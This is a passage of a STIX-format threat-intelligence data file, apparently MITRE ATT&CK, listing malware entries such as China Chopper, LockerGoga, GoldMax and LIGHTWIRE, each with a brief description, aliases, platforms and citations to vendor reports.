2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021) ","modified":"2022-04-20T18:12:24.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Green Lambert","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-03T21:37:14.516Z","name":"China Chopper","description":"[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server.(Citation: Lee 2013) It has been used by several threat groups.(Citation: Dell TG-3390)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Rapid7 HAFNIUM Mar 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.5","x_mitre_aliases":["China Chopper"],"type":"malware","id":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","created":"2017-05-31T21:32:18.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0020","external_id":"S0020"},{"source_name":"China Chopper","description":"(Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)"},{"source_name":"CISA AA21-200A APT40 July 2021","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Lee 2013","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CALENDAR"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5a84dc36-df0d-4053-9b7c-f0c388a57283","type":"malware","created":"2017-05-31T21:32:20.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0025","external_id":"S0025"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-30T15:12:21.836Z","name":"CALENDAR","description":"[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-17T20:05:34.648Z","name":"LockerGoga","description":"[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"2.0","x_mitre_contributors":["Joe Slowik - Dragos"],"x_mitre_aliases":["LockerGoga"],"type":"malware","id":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","created":"2019-04-16T19:00:49.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0372","external_id":"S0372"},{"source_name":"CarbonBlack LockerGoga 2019","description":"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.","url":"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"},{"source_name":"Unit42 LockerGoga 2019","description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Chaos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5bcd5511-6756-4824-a692-e8bb109364af","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0220","external_id":"S0220"},{"source_name":"Chaos","description":"(Citation: Chaos Stolen Backdoor)"},{"source_name":"Chaos Stolen Backdoor","description":"Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.","url":"http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}],"modified":"2020-07-01T18:30:55.286Z","name":"Chaos","description":"[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Falcone"],"x_mitre_aliases":["ISMInjector"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5be33fef-39c0-4532-84ee-bea31e1b5324","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0189","external_id":"S0189"},{"source_name":"ISMInjector","description":"(Citation: OilRig New Delivery Oct 2017)"},{"source_name":"OilRig New Delivery Oct 2017","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}],"modified":"2020-03-31T12:38:41.115Z","name":"ISMInjector","description":"[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-19T13:31:34.134Z","name":"PUNCHBUGGY","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_aliases":["PUNCHBUGGY","ShellTea"],"type":"malware","id":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0196","external_id":"S0196"},{"source_name":"PUNCHBUGGY","description":"(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)"},{"source_name":"ShellTea","description":"(Citation: Morphisec ShellTea June 2019)"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"Morphisec ShellTea June 2019","description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:26:45.606Z","name":"GoldMax","description":"[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)","x_mitre_platforms":["Windows","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.3","x_mitre_aliases":["GoldMax","SUNSHUTTLE"],"type":"malware","id":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","created":"2021-03-12T16:10:45.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0588","external_id":"S0588"},{"source_name":"SUNSHUTTLE","description":"(Citation: FireEye SUNSHUTTLE Mar 2021)"},{"source_name":"GoldMax","description":"(Citation: MSTIC NOBELIUM Mar 2021)"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"},{"source_name":"FireEye SUNSHUTTLE Mar 2021","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["HELLOKITTY"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","type":"malware","created":"2021-06-03T20:07:21.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0617","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0617"},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-10-18T18:33:58.599Z","name":"HELLOKITTY","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-05T16:34:18.865Z","name":"CostaBricks","description":"[CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["CostaBricks"],"type":"malware","id":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","created":"2021-05-24T15:56:18.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0614","external_id":"S0614"},{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-15T23:22:28.176Z","name":"Cheerscrypt","description":"[Cheerscrypt](https://attack.mitre.org/software/S1096) is a ransomware that was developed by [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) and has been used in attacks against ESXi and Windows environments since at least 2022. [Cheerscrypt](https://attack.mitre.org/software/S1096) was derived from the leaked [Babuk](https://attack.mitre.org/software/S0638) source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from [Babuk](https://attack.mitre.org/software/S0638).(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: Trend Micro Cheerscrypt May 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Cheerscrypt"],"type":"malware","id":"malware--5d3fa1db-5041-4560-b87b-8f61cc225c52","created":"2023-12-18T20:24:33.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1096","external_id":"S1096"},{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"Trend Micro Cheerscrypt May 2022","description":"Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.","url":"https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-28T19:18:39.684Z","name":"LIGHTWIRE","description":"[LIGHTWIRE](https://attack.mitre.org/software/S1119) is a web shell written in Perl that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge January 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["LIGHTWIRE"],"type":"malware","id":"malware--5dc9e8ec-9917-4de7-b8ab-16007899dd80","created":"2024-03-07T20:52:41.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1119","external_id":"S1119"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-18T18:25:18.520Z","name":"KeyBoy","description":"[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["KeyBoy"],"type":"malware","id":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","created":"2019-06-14T16:45:33.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0387","external_id":"S0387"},{"source_name":"KeyBoy","description":"(Citation: PWC KeyBoys Feb 2017)(Citation: CitizenLab KeyBoy Nov 2016)(Citation: Rapid7 KeyBoy Jun 2013)"},{"source_name":"Rapid7 KeyBoy Jun 2013","description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"},{"source_name":"CitizenLab KeyBoy Nov 2016","description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.","url":"https://citizenlab.ca/2016/11/parliament-keyboy/"},{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["POSHSPY"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0150","external_id":"S0150"},{"source_name":"POSHSPY","description":"(Citation: FireEye POSHSPY April 2017)"},{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2020-03-30T17:16:53.396Z","name":"POSHSPY","description":"[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MiniDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","type":"malware","created":"2017-05-31T21:32:36.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0051","external_id":"S0051"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2021-10-14T21:21:51.872Z","name":"MiniDuke","description":"[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:16:42.727Z","name":"HyperBro","description":"[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["HyperBro"],"type":"malware","id":"malware--5e814485-012d-423d-b769-026bfed0f451","created":"2019-07-09T17:42:44.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0398","external_id":"S0398"},{"source_name":"HyperBro","description":"(Citation: Unit42 Emissary Panda May 2019)"},{"source_name":"Unit42 Emissary Panda May 2019","description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"},{"source_name":"Hacker News LuckyMouse June 2018","description":"Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.","url":"https://thehackernews.com/2018/06/chinese-watering-hole-attack.html"},{"source_name":"Securelist LuckyMouse June 2018","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-04T20:02:47.052Z","name":"Anchor","description":"[Anchor](https://attack.mitre.org/software/S0504) is one of a family of backdoor malware that has been used in conjunction with [TrickBot](https://attack.mitre.org/software/S0266) on selected high profile targets since at least 2018.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)","x_mitre_platforms":["Linux","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Cybereason Nocturnus, @nocturnus"],"x_mitre_aliases":["Anchor","Anchor_DNS"],"type":"malware","id":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","created":"2020-09-10T15:54:21.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0504","external_id":"S0504"},{"source_name":"Anchor_DNS","description":"(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)"},{"source_name":"Cyberreason Anchor December 2019","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"},{"source_name":"Medium Anchor DNS July 2020","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020.","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Pteranodon","Pterodo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","created":"2017-05-31T21:33:26.084Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"S0147","url":"https://attack.mitre.org/software/S0147"},{"source_name":"Pterodo","description":"(Citation: Symantec Shuckworm January 2022)(Citation: Secureworks IRON TILDEN Profile)"},{"source_name":"Palo Alto Gamaredon Feb 2017","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017."},{"source_name":"Secureworks IRON TILDEN Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."},{"source_name":"Symantec Shuckworm January 